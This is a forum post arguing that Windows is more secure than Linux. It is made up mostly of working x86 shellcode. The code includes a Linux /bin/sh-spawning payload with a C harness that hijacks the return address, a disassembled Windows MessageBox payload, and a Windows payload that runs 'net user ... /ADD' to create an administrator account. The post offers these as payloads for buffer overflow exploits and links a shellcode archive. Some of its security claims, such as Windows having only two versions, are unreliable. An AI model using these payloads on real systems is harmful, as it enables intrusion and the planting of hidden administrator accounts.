Originally Posted by
blue toxin
Uh, you're telling me Windows is more secure?...
Haha.. okay, you've got me started.
Yes, Windows is MUCH more than Linux, once everything is set up properly. Proper packages along with the proper service pack, you're all set. Let me explain.
It takes little shellcode to spawn shells and basically assrape Linux.
Code:
char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";
void main() {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
Simple, basic shellcode. If you understand basic programming, you understand that variable ret's pointer points at the return address to the casting of the char array "shellcode." Simple as ****. However, in order to write Windows shellcode, things get a little more complicated.
Code:
08048080 <_start>:
8048080: 31 c0 xor %eax,%eax
8048082: 31 db xor %ebx,%ebx
8048084: 31 c9 xor %ecx,%ecx
8048086: 31 d2 xor %edx,%edx
8048088: eb 37 jmp 80480c1
0804808a :
804808a: 59 pop %ecx
804808b: 88 51 0a mov %dl,0xa(%ecx)
804808e: bb 61 d9 e7 77 mov $0x77e7d961,%ebx
8048093: 51 push %ecx
8048094: ff d3 call *%ebx
8048096: eb 39 jmp 80480d1
08048098 :
8048098: 59 pop %ecx
8048099: 31 d2 xor %edx,%edx
804809b: 88 51 0b mov %dl,0xb(%ecx)
804809e: 51 push %ecx
804809f: 50 push %eax
80480a0: bb 32 b3 e7 77 mov $0x77e7b332,%ebx
80480a5: ff d3 call *%ebx
80480a7: eb 39 jmp 80480e2
080480a9 :
80480a9: 59 pop %ecx
80480aa: 31 d2 xor %edx,%edx
80480ac: 88 51 03 mov %dl,0x3(%ecx)
80480af: 31 d2 xor %edx,%edx
80480b1: 52 push %edx
80480b2: 51 push %ecx
80480b3: 51 push %ecx
80480b4: 52 push %edx
80480b5: ff d0 call *%eax
080480b7 :
80480b7: 31 d2 xor %edx,%edx
80480b9: 50 push %eax
80480ba: b8 fd 98 e7 77 mov $0x77e798fd,%eax
80480bf: ff d0 call *%eax
080480c1 :
80480c1: e8 c4 ff ff ff call 804808a
80480c6: 75 73 jne 804813b
80480c8: 65 gs
80480c9: 72 33 jb 80480fe
80480cb: 32 2e xor (%esi),%ch
80480cd: 64 fs
80480ce: 6c insb (%dx),%es:(%edi)
80480cf: 6c insb (%dx),%es:(%edi)
80480d0: 4e dec %esi
080480d1 :
80480d1: e8 c2 ff ff ff call 8048098
80480d6: 4d dec %ebp
80480d7: 65 gs
80480d8: 73 73 jae 804814d
80480da: 61 popa
80480db: 67 addr16
80480dc: 65 gs
80480dd: 42 inc %edx
80480de: 6f outsl %ds:(%esi),(%dx)
80480df: 78 41 js 8048122
80480e1: 4e dec %esi
080480e2 :
80480e2: e8 c2 ff ff ff call 80480a9
80480e7: 48 dec %eax
80480e8: 65 gs
80480e9: 79 4e jns 8048139
All of that shit gets shrinked down to a bitter:
Code:
char code[] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x37\x59\x88\x51\x0a\xbb\x61\xd9"\
"\xe7\x77\x51\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x0b\x51\x50\xbb\x32"\
"\xb3\xe7\x77\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x03\x31\xd2\x52\x51"\
"\x51\x52\xff\xd0\x31\xd2\x50\xb8\xfd\x98\xe7\x77\xff\xd0\xe8\xc4\xff"\
"\xff\xff\x75\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x4e\xe8\xc2\xff\xff"\
"\xff\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x41\x4e\xe8\xc2\xff\xff"\
"\xff\x48\x65\x79\x4e";
That is, if you want to construct an exploit for an overflowable buffer, or a stack to smash. You can just compile an EXE and do the shit from there.
Code:
char code[] = "\xeb\x1b\x5b\x31\xc0\x50\x31\xc0\x88\x43\x59\x53\xbb\x35\xfd\xe6\x77"\
"\xff\xd3\x31\xc0\x50\xbb\xfd\x98\xe7\x77\xff\xd3\xe8\xe0\xff\xff\xff"\
"\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x6e\x65\x74\x20\x75\x73"\
"\x65\x72\x20\x55\x53\x45\x52\x4e\x41\x4d\x45\x20\x50\x41\x53\x53\x57"\
"\x4f\x52\x44\x20\x2f\x41\x44\x44\x20\x26\x26\x20\x6e\x65\x74\x20\x6c"\
"\x6f\x63\x61\x6c\x67\x72\x6f\x75\x70\x20\x41\x64\x6d\x69\x6e\x69\x73"\
"\x74\x72\x61\x74\x6f\x72\x73\x20\x2f\x41\x44\x44\x20\x55\x53\x45\x52"\
"\x4e\x41\x4d\x45\x4e";
That's an example of shellcode that will add an administrative account.
But this is basic ASM, requiring a payload after an exploit is found and used.
Furthermore, you only have two different versions of Windows. You have win32 and win64, win64 being for the 64 bit platform. You have many versions of Linux, and you would think that this would allow people to focus more on writing Windows shellcode? Think again.
[url]http://www.milw0rm.com/shellcode/all[/url]
With all of the Linux operators on Intel x86 chips, along with AMD, etc... Plus, almost all servers that get hacked operate off of Linux. That's another reason you should use Windows applications. There are less of them that can get exploited when listening for a socket connection. FTP servers are a classic example. Google "ftp exploit," look at the OS the FTP server operates on, and you'll get my point.
Originally Posted by
Zarathu
Disagree with me == wrong